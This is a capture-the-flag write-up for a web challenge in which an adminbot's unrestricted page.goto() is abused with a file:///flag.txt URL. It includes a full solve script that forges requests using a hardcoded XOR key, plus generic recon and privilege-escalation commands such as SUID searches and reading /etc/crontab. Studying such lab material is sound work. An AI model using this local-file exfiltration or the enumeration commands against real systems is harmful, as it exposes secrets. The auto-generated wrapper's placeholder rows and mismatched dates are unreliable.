← Back to Writeups
HTBN/AWeb

Secure Secretpickle

XESXOR8/23/20266 min read
#web#htb#n/a

Secure Secretpickle

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-06 | Status: Solved Techniques: adminbot_screenshot_exfiltration, file_protocol_abuse_via_adminbot, hardcoded_xor_key_extraction, secretpickle_format_forging

Summary

Task: Custom 'secretpickle' serialization (XOR + pickle) with seccomp-sandboxed server-side deserialization, Pyodide client, and Playwright adminbot that stores flag as admin password. Solution: Bypass all pickle/seccomp complexity by sending file:///flag.txt URL to adminbot, which renders the flag in Chromium and returns a screenshot.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf | ID: 20260606_gpnctf_secure_secretpickle
  • Tags: playwright, fastapi, pickle, seccomp, xor_encryption, file_protocol, pyodide, adminbot, dompurify, screenshot_exfiltration
  • Indicators: adminbot that visits arbitrary URLs and returns screenshots, hardcoded XOR key in serialization format, seccomp sandbox with only write syscall allowed, file:// protocol not blocked in Playwright page.goto(), flag stored as admin password in same container as adminbot
  • Source: 20260606_gpnctf_secure_secretpickle.md

Foothold

Vulnerability / Misconfiguration

  1. Adminbot_screenshot_exfiltration
  2. File_protocol_abuse_via_adminbot
  3. Hardcoded_xor_key_extraction
  4. Secretpickle_format_forging
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • adminbot_screenshot_exfiltration
  • file_protocol_abuse_via_adminbot
  • hardcoded_xor_key_extraction
  • secretpickle_format_forging
  • Tags: playwright, fastapi, pickle, seccomp, xor_encryption, file_protocol, pyodide, adminbot, dompurify, screenshot_exfiltration

Original Writeup

<details><summary>Click to expand original content</summary>

Secure Secretpickle — GPNCTF 2025

Description

The only serialization method that I found in the restaurant were Pickles. So I made an encrypted (and secure) version of it that nobody can crack or pwn!

A multi-component web challenge with a custom "secretpickle" serialization format (XOR encryption + pickle), a seccomp-sandboxed server, a Pyodide-based browser client, and a Playwright adminbot. The flag is stored as the admin user's password in the same container.

Analysis

Architecture Overview

The challenge has four main components:

  1. Server (server.py): FastAPI app that deserializes incoming requests using secretpickle_load() with a safe_pickle_load decoder. Supports actions: hello, register, login, whoami, encrypt, decrypt, and adminbot.

  2. Client (client.py): Runs in-browser via Pyodide (Python-in-WASM). Parses URL query parameters as YAML, adds localStorage.username and localStorage.password to the payload, sends secretpickle-encoded POST to server. Response HTML goes through DOMPurify 3.4.7.

  3. Adminbot (adminbot.py): Playwright/Chromium bot that:

  • Registers user "admin" with password=FLAG (read from /flag.txt)
  • Logs in (stores credentials in localStorage)
  • Visits whoami to confirm login
  • Visits attacker-supplied URL
  • Takes a screenshot and returns it
  1. SecretPickle format (secretpickle.py): base64(XOR(pickle_bytes[14:], key)) where the XOR key is hardcoded: 77c07f8fd2ae7ad9f5aabc008c79d0d3.

  2. Safe loader (safe_loader.py): Spawns a subprocess, applies seccomp filter (default=KILL, allow only write syscall), then does pickle.loads()json.dumps() → stdout. Parent reads stdout and does json.loads().

Key Source Code

secretpickle.py — hardcoded XOR key:

SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")

def secretpickle_dump(decoded, encoder=pickle.dumps):
    raw = encoder(decoded)
    trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):]
    xored = secretpickle_encrypt(trimmed)
    encoded = base64.b64encode(xored).decode()
    return encoded

adminbot.py — reads flag and visits arbitrary URLs:

FLAG = open("/flag.txt").read().strip()

async def visit(url):
    # ... registers admin with password=FLAG, logs in ...
    await page.goto(url)  # visits attacker-supplied URL
    screenshot = await page.screenshot(full_page=True)
    return screenshot

server.py — adminbot action accepts any base64-encoded URL:

if action == "adminbot":
    url = base64.b64decode(params["url"]).decode()
    adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}"
    screenshot = await asyncio.to_thread(_fetch)
    return ok(f"<img src='data:image/png;base64,{base64.b64encode(screenshot).decode()}'>")

Attack Surface Analysis

VectorFeasibilityWhy
Server-side pickle RCESeccomp sandbox blocks all syscalls except write
Seccomp bypass via evaleval() works but subprocess is isolated from server process
YAML injection in client& is replaced with newline, preventing YAML anchors
DOMPurify bypassVersion 3.4.7, no known bypasses
javascript: URL via adminbotPlaywright blocks javascript: protocol in page.goto()
data: URL with JSWorks but has null origin — can't access server's localStorage
file:// URL via adminbotChromium renders local files, adminbot returns screenshot

The Vulnerability

The adminbot's page.goto(url) accepts any URL scheme, including file://. Since the adminbot and server run in the same container, and /flag.txt exists on disk (the adminbot reads it at startup), we can make Chromium navigate to file:///flag.txt. Chromium renders the file content as a text page, and the adminbot takes a screenshot which is returned to us as a base64-encoded PNG.

The entire pickle/seccomp/XOR complexity is a red herring — the real vulnerability is the unrestricted URL scheme in the adminbot.

Solution

Step 1: Forge a secretpickle request

Since the XOR key is hardcoded in secretpickle.py, we can import the module directly and use secretpickle_dump() to create valid requests:

from secretpickle import secretpickle_dump, secretpickle_load

payload = {
    "action": "adminbot",
    "params": {"url": base64.b64encode(b"file:///flag.txt").decode()}
}
b64 = secretpickle_dump(payload)

Step 2: Send the request and extract the screenshot

POST the encoded payload to the server. The server forwards the URL to the adminbot, which:

  1. Registers "admin" with password=FLAG
  2. Logs in
  3. Navigates to file:///flag.txt
  4. Takes a screenshot
  5. Returns it to the server, which embeds it in the response as a base64 PNG

Full Solve Script

#!/usr/bin/env python3
"""
Secure Secretpickle exploit — GPNCTF 2025
Abuses adminbot's unrestricted page.goto() to read /flag.txt via file:// protocol.
"""
import sys, os, base64, json, re
import urllib.request, urllib.parse

sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), 'secretpickle-secure'))
from secretpickle import secretpickle_dump, secretpickle_load

TARGET = sys.argv[1].rstrip('/')

def send_dict(d, timeout=120):
    b64 = secretpickle_dump(d)
    url = TARGET + '/' + urllib.parse.quote(b64, safe='')
    req = urllib.request.Request(url, method='POST')
    with urllib.request.urlopen(req, timeout=timeout) as r:
        raw = r.read().decode()
    enc = json.loads(raw)
    return secretpickle_load(enc)

# Make adminbot visit file:///flag.txt and return screenshot
bot_url = base64.b64encode(b"file:///flag.txt").decode()
res = send_dict({"action": "adminbot", "params": {"url": bot_url}})

if res.get("status") == "ok":
    result = res.get("result", "")
    # Save screenshot
    m = re.search(r"data:image/png;base64,([A-Za-z0-9+/=]+)", result)
    if m:
        img_data = base64.b64decode(m.group(1))
        with open("flag_screenshot.png", "wb") as f:
            f.write(img_data)
        print(f"Screenshot saved ({len(img_data)} bytes)")
    # Extract flag from any text in response
    flags = re.findall(r"GPNCTF\{[^}]*\}", result)
    if flags:
        print(f"FLAG: {flags[0]}")
else:
    print(f"Error: {res}")

Failed Approaches

  1. Server-side pickle RCE: The seccomp sandbox in safe_loader.py kills the process on any syscall except write. While eval() and exec() work (they're pure Python bytecode execution), the subprocess can't perform file I/O, network operations, or any OS interaction beyond writing to already-open file descriptors.

  2. Subprocess stdout injection: Successfully demonstrated that exec() works under seccomp and can control the subprocess output via sys.stdout.write() + sys.exit(0). However, the subprocess is completely isolated from the server process — it can't modify server memory, hook functions, or alter responses to other clients.

  3. YAML injection in client: The client parses URL query parameters as YAML (?key=valuekey: value). The & separator is replaced with newline. This prevents YAML anchors (&anchor) which could have been used to reference pl["password"] in the params. Without anchors, there's no way to make the YAML parser include the admin's password in a visible field.

  4. javascript: URL: Playwright blocks javascript: protocol in page.goto(), raising an error.

  5. data: URL with JavaScript: Works — the adminbot can visit data:text/html;base64,... URLs and execute JavaScript. However, data: URLs have a null origin, so localStorage access returns null (it's scoped to the challenge domain's origin, not the null origin).

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR